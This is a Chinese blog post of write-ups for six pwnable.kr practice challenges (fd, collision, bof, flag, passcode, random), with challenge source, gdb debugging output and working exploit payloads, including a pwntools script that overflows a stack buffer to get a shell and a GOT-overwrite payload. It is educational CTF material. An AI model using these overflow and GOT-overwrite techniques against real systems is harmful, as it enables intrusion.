前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一些pwn题目的解题思路[pwnable.kr]

一些pwn题目的解题思路[pwnable.kr]

作者头像
WeaponX
发布2018-05-04 15:49:01
1.5K0
发布2018-05-04 15:49:01
举报
文章被收录于专栏:BinarySecBinarySec

目录

以下是solution的目录

Other

一些pwn题目的解题思路[pwnable.kr] II

fd

根据题目描述,登录上服务器,ls一下

fd@ubuntu:~$ lsfd fd.c flagfd@ubuntu:~$ cat flagcat: flag: Permission denied

肯定flag也不能直接读取,既然给了源代码,就顺便看一下。

#include <stdio.h>#include <stdlib.h>#include <string.h>char buf[32];int main(int argc, char* argv[], char* envp[]){ if(argc<2){ printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32); if(!strcmp("LETMEWIN\n", buf)){ printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0;}

这道题的考点就是fd = 0为linux下的标准输入。只要让atoi(argv[1])-0x1234 = 0即可,然后再输入LETMEWIN即可。

fd@ubuntu:~$ ./fd 4660LETMEWINgood job :)mommy! I think I know what a file descriptor is!!

collision

给了题目的源代码

#include <stdio.h>#include <string.h>unsigned long hashcode = 0x21DD09EC;unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res;}int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0;}

逻辑很简单,把20个字符分成5组,每组四个。只要让5组的字符串的ascii加起来等于0x21DD09EC即可。

开始我的思路是分成0x21DD09EC和4组全0,但是过不了strlen的长度判断。只能变成四组0x01010101和一组0x1DD905E8。

col@ubuntu:~$ pythonPython 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> payload = p32(0x1dd905e8) + p32(0x01010101) * 4>>> io = process(["./col", payload])[x] Starting local process './col'[+] Starting local process './col': Done>>> io.recv()[*] Process './col' stopped with exit code 0'daddy! I just managed to create a hash collision :)\n'>>>

bof

#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); }}int main(int argc, char* argv[]){ func(0xdeadbeef); return 0;}

一个典型的缓冲区溢出,只要把key覆盖没0xcafebabe即可。

[----------------------------------registers-----------------------------------]EAX: 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")EBX: 0xf7fc3000 --> 0x1a6da8 ECX: 0xfbad2288 EDX: 0xf7fc48a4 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd668 ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")ESP: 0xffffd620 --> 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")EIP: 0x8048525 (<func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe)EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x804851a <func+29>: lea eax,[ebp-0x2c] 0x804851d <func+32>: mov DWORD PTR [esp],eax 0x8048520 <func+35>: call 0x80483a0 <gets@plt>=> 0x8048525 <func+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 0x804852c <func+47>: jne 0x804853c <func+63> 0x804852e <func+49>: mov DWORD PTR [esp],0x804861f 0x8048535 <func+56>: call 0x80483d0 <system@plt> 0x804853a <func+61>: jmp 0x8048548 <func+75>[------------------------------------stack-------------------------------------]0000| 0xffffd620 --> 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")0004| 0xffffd624 --> 0x0 0008| 0xffffd628 --> 0xc2 0012| 0xffffd62c --> 0xf7eb0716 (test eax,eax)0016| 0xffffd630 --> 0xffffffff 0020| 0xffffd634 --> 0xffffd65e ("AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")0024| 0xffffd638 --> 0xf7e28c34 --> 0x2aad 0028| 0xffffd63c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")[------------------------------------------------------------------------------]Legend: code, data, rodata, value8 if(key == 0xcafebabe){gdb-peda$ p $ebp+8$1 = (void *) 0xffffd670gdb-peda$ x/20wx $ebp+80xffffd670: 0x41474141 0x41416341 0x48414132 0x416441410xffffd680: 0x41413341 0x65414149 0x41344141 0x41414a410xffffd690: 0x35414166 0x414b4141 0x41416741 0x4c4141360xffffd6a0: 0x00000000 0xffffd724 0xffffd6c4 0x0804a0240xffffd6b0: 0x0804825c 0xf7fc3000 0x00000000 0x00000000gdb-peda$ pattern_offset 0x414741411095188801 found at offset: 52

找到53-56个字节即可覆盖key。

from pwn import *io = remote("pwnable.kr", 9000)payload = "a" * 52 + p32(0xcafebabe)io.sendline(payload)io.interactive()

运行exploit:

~/pwn/pwnkr/3 » python exp.py[+] Opening connection to pwnable.kr on port 9000: Done[*] Switching to interactive mode$ lsbofbof.cflagloglog2super.pl$ cat flagdaddy, I just pwned a buFFer :)$

flag

一看bin,是经过upx加壳的,直接用upx脱壳。

~/pwn/pwnkr/4/upx-3.93-amd64_linux » ./upx -d ../flag user@ubuntu Ultimate Packer for eXecutables Copyright (C) 1996 - 2017UPX 3.93 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 29th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 887219 <- 335288 37.79% linux/amd64 flagUnpacked 1 file.

调试一下直接出flag

[-------------------------------------code-------------------------------------] 0x40118b <main+39>: mov rax,QWORD PTR [rbp-0x8] 0x40118f <main+43>: mov rsi,rdx 0x401192 <main+46>: mov rdi,rax=> 0x401195 <main+49>: call 0x400320 0x40119a <main+54>: mov eax,0x0 0x40119f <main+59>: leave 0x4011a0 <main+60>: ret 0x4011a1: nopGuessed arguments:arg[0]: 0x6c96b0 --> 0x0 arg[1]: 0x496628 ("UPX...? sounds like a delivery service :)")arg[2]: 0x496628 ("UPX...? sounds like a delivery service :)")[------------------------------------stack-------------------------------------]0000| 0x7fffffffe510 --> 0x401a50 (<__libc_csu_init>: push r14)0008| 0x7fffffffe518 --> 0x6c96b0 --> 0x0 0016| 0x7fffffffe520 --> 0x0 0024| 0x7fffffffe528 --> 0x401344 (<__libc_start_main+404>: mov edi,eax)0032| 0x7fffffffe530 --> 0x0 0040| 0x7fffffffe538 --> 0x100000000 0048| 0x7fffffffe540 --> 0x7fffffffe618 --> 0x7fffffffe852 ("/home/user/pwn/pwnkr/4/flag")0056| 0x7fffffffe548 --> 0x401164 (<main>: push rbp)[------------------------------------------------------------------------------]Legend: code, data, rodata, value0x0000000000401195 in main ()gdb-peda$

passcode

#include <stdio.h>#include <stdlib.h>void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); }}void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name);}int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }

题目描述如下:

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

告诉我们注意下编译时的warning

~/pwn/pwnkr/5 » gcc -m32 5.c -o 55.c: In function ‘login’:5.c:9:5: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] scanf("%d", passcode1); ^5.c:14:9: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] scanf("%d", passcode2);

很明显的错误,使用scanf输入int类型的时候没有添加取地址符。但是,这只能说是一个bug,并不能说是漏洞。

scanf("%d", passcode1);

只要能控制passcode1的地址,就可以完成一个任意地址写。注意到login函数前面,有一个welcome函数,使用gdb调一下。

[----------------------------------registers-----------------------------------]EAX: 0x0 EBX: 0xf7fc3000 --> 0x1a6da8 ECX: 0x0 EDX: 0xf7fc4898 --> 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd668 --> 0xffffd688 --> 0x0 ESP: 0xffffd640 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")EIP: 0x80485b3 (<login+6>: mov DWORD PTR [esp],0x8048770)EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x80485ad <login>: push ebp 0x80485ae <login+1>: mov ebp,esp 0x80485b0 <login+3>: sub esp,0x28=> 0x80485b3 <login+6>: mov DWORD PTR [esp],0x8048770 0x80485ba <login+13>: call 0x8048420 <printf@plt> 0x80485bf <login+18>: mov eax,DWORD PTR [ebp-0x10] 0x80485c2 <login+21>: mov DWORD PTR [esp+0x4],eax 0x80485c6 <login+25>: mov DWORD PTR [esp],0x8048783[------------------------------------stack-------------------------------------]0000| 0xffffd640 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")0004| 0xffffd644 ("AA4AAJAAfAA5AAKAAgAA6AAL")0008| 0xffffd648 ("AJAAfAA5AAKAAgAA6AAL")0012| 0xffffd64c ("fAA5AAKAAgAA6AAL")0016| 0xffffd650 ("AAKAAgAA6AAL")0020| 0xffffd654 ("AgAA6AAL")0024| 0xffffd658 ("6AAL")0028| 0xffffd65c --> 0xb7a3f600 [------------------------------------------------------------------------------]Legend: code, data, rodata, valueBreakpoint 1, login () at 5.c:88 printf("enter passcode1 : ");gdb-peda$ x/wx $ebp-0x100xffffd658: 0x4c414136gdb-peda$ x/20wx $ebp-0x100xffffd658: 0x4c414136 0xb7a3f600 0x00000000 0x000000000xffffd668: 0xffffd688 0x080486c8 0x080487f0 0xf7ffd0000xffffd678: 0x080486eb 0xf7fc3000 0x080486e0 0x000000000xffffd688: 0x00000000 0xf7e35ad3 0x00000001 0xffffd7240xffffd698: 0xffffd72c 0xf7feacca 0x00000001 0xffffd724gdb-peda$ pattern_offset 0x4c4141361279344950 found at offset: 96

可以看出welcome函数输入的第97-100个字节正好覆盖掉passcode1的地址,所以这就是一个任意地址写。但是程序有Canary,不过没关系,因为canary的第一个字节也是0x00。所以,剩下的思路就是GOT覆盖,覆盖printf的GOT表。可以选择用system覆盖,传入/bin/sh反弹一个shell。不过程序中已经有了读取flag的代码,直接用就可以了。

80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp)80485d5: 75 1a jne 80485f1 <login+0x8d>80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp)80485de: e8 6d fe ff ff call 8048450 <puts@plt>80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)80485ea: e8 71 fe ff ff call 8048460 <system@plt>80485ef: c9 leave 80485f0: c3 ret 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp)80485f8: e8 53 fe ff ff call 8048450 <puts@plt>80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)8048604: e8 77 fe ff ff call 8048480 <exit@plt>

读flag代码的地址为0x80485e3i

passcode@ubuntu:~$ python -c "print 'A' * 96 + '\x00\xa0\x04\x08' + '134514147\n'" | ./passcodeToddler's Secure Login System 1.0 beta.enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!Sorry mom.. I got confused about scanf usage :(enter passcode1 : Now I can safely trust you that you have credential :)

random

#include <stdio.h>int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0;}

rand函数是固定种子生成的,不同机器种子不一样。所以这个程序在一台机器上运行每次rand的结果都为固定的一个值。通过调试看这太服务器rand的值是多少。

(gdb) disassDump of assembler code for function main: 0x00000000004005f4 <+0>: push %rbp 0x00000000004005f5 <+1>: mov %rsp,%rbp=> 0x00000000004005f8 <+4>: sub $0x10,%rsp 0x00000000004005fc <+8>: mov $0x0,%eax 0x0000000000400601 <+13>: callq 0x400500 <rand@plt> 0x0000000000400606 <+18>: mov %eax,-0x4(%rbp) End of assembler dump.(gdb) b *0x0000000000400606Breakpoint 2 at 0x400606(gdb) cContinuing.Breakpoint 2, 0x0000000000400606 in main ()(gdb) print $eax$1 = 1804289383

所以rand固定的值为1804289383

random@ubuntu:~$ pythonPython 2.7.12 (default, Jul 1 2016, 15:12:24) [GCC 5.4.0 20160609] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> from pwn import *>>> payload = str(1804289383 ^ 0xdeadbeef)>>> io = process("./random")[x] Starting local process './random'[+] Starting local process './random': Done>>> io.sendline(payload)>>> io.recv()[*] Process './random' stopped with exit code 0'Good!\nMommy, I thought libc random is unpredictable...\n'>>>

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2017-02-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • fd
  • collision
  • bof
  • flag
  • passcode
  • random
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档